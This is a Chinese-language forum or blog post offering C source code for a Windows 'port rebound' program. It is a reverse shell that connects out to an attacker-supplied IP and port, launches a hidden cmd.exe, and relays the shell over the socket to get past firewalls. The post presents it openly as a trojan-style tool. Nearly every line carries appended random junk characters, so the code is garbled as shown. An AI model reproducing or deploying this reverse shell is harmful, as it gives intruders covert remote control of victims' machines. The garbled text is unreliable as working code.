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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 vKwQXR~C  
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/* ============================== Zc |/{$>:W  
Rebound port in Windows NT )?M9|u  
By wind,2006/7 C9DJO:f.2y  
===============================*/ Sw`RBN[ yo  
#include 1T_QX9  
#include yL^UE=#C_  
BG^C9*ZuP  
#pragma comment(lib,"wsock32.lib") f=!PllxL:  
`dMqe\o%!  
void OutputShell(); Q(d9n8  
SOCKET sClient; 3($"q]Y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; dUgrKDNyA  
~1m2#>  
void main(int argc,char **argv) #eU.p&Zc  
{ qQi.?<d2"s  
WSADATA stWsaData; g>d;|sK  
int nRet; iz(u=/*\  
SOCKADDR_IN stSaiClient,stSaiServer; \7MHaQvS   
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if(argc != 3) 0U/K7sZ  
{ b96%")  
printf("Useage:\n\rRebound DestIP DestPort\n"); VN0mDh?E  
return; YI-O{U  
} )5JU:jNy  
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WSAStartup(MAKEWORD(2,2),&stWsaData); rPc7(,o*  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y~ G.V,0  
; UiwH  
stSaiClient.sin_family = AF_INET; U7xmC  
stSaiClient.sin_port = htons(0); ! / y!QXj  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sG~<M"znV  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M L7 \BT  
{ FVv8--  
printf("Bind Socket Failed!\n"); ODc9r }  
return; M fk2mIy  
} E@a3~a  
1[*UYcD  
stSaiServer.sin_family = AF_INET; ~Au,#7X)  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Bb&^ {7  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %8aC1x  
a</D_66  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) wn>edn  
{ vN4Qdpdb  
printf("Connect Error!"); &)i|$J 2.  
return; H7+X&#s%  
} R j~  
OutputShell(); D2YZ9e   
} oIGrA-T}  
#tt?!\8C  
void OutputShell() H?}[r)|(3i  
{ ULc`~]  
char szBuff[1024]; `"iY*  
SECURITY_ATTRIBUTES stSecurityAttributes; x\?;=@AW  
OSVERSIONINFO stOsversionInfo; n[Zz]IO,g  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c8)/:xxl  
STARTUPINFO stStartupInfo; >Sa*`q3J  
char *szShell; %xwIt~Y  
PROCESS_INFORMATION stProcessInformation; n}A\2bO  
unsigned long lBytesRead; a/~aFmu6b  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X u"R^  
s57N) 0kP  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %I!:ITa  
stSecurityAttributes.lpSecurityDescriptor = 0; :H.   
stSecurityAttributes.bInheritHandle = TRUE; ?6Cz[5\  
~5ZvOX6L2  
Xf =XBoN|  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "O+5R(XT  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^n#1<K[E  
 O#nR>1h  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &m3.h!dq  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kH*Pn'  
stStartupInfo.wShowWindow = SW_HIDE; 1ju#9i`.Wg  
stStartupInfo.hStdInput = hReadPipe; })vOaYT|-  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /)N@M  
{v aaFs  
GetVersionEx(&stOsversionInfo); aI zv  
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switch(stOsversionInfo.dwPlatformId) /9Q3iV$I]  
{ nU+tM~C%a  
case 1: va/m~k|i  
szShell = "command.com"; W-RqN!snJ8  
break; mtic>  
default: IWVlrGyM  
szShell = "cmd.exe"; t<uYM  
break; fBBa4"OK=  
} 8$xPex~2  
ci,+Bjc  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); fkfZ>D^1  
?wMHS4  
send(sClient,szMsg,77,0); q<e&0u4  
while(1) Vi! Q  
{ Xog/O i  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Jsg I'  
if(lBytesRead) .F&9.#>  
{ 5OM?3M  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); G@!z$  
send(sClient,szBuff,lBytesRead,0); MgnM,95  
} I4H`YOD%  
else sK$wN4k  
{ CR4rDh8za  
lBytesRead=recv(sClient,szBuff,1024,0); ?tf&pgo  
if(lBytesRead<=0) break; VvByHcLv  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;y?);!g  
} ;N+$2w  
} dYFzye  
6XEZ4QP}  
return; fi PIAT}  
}
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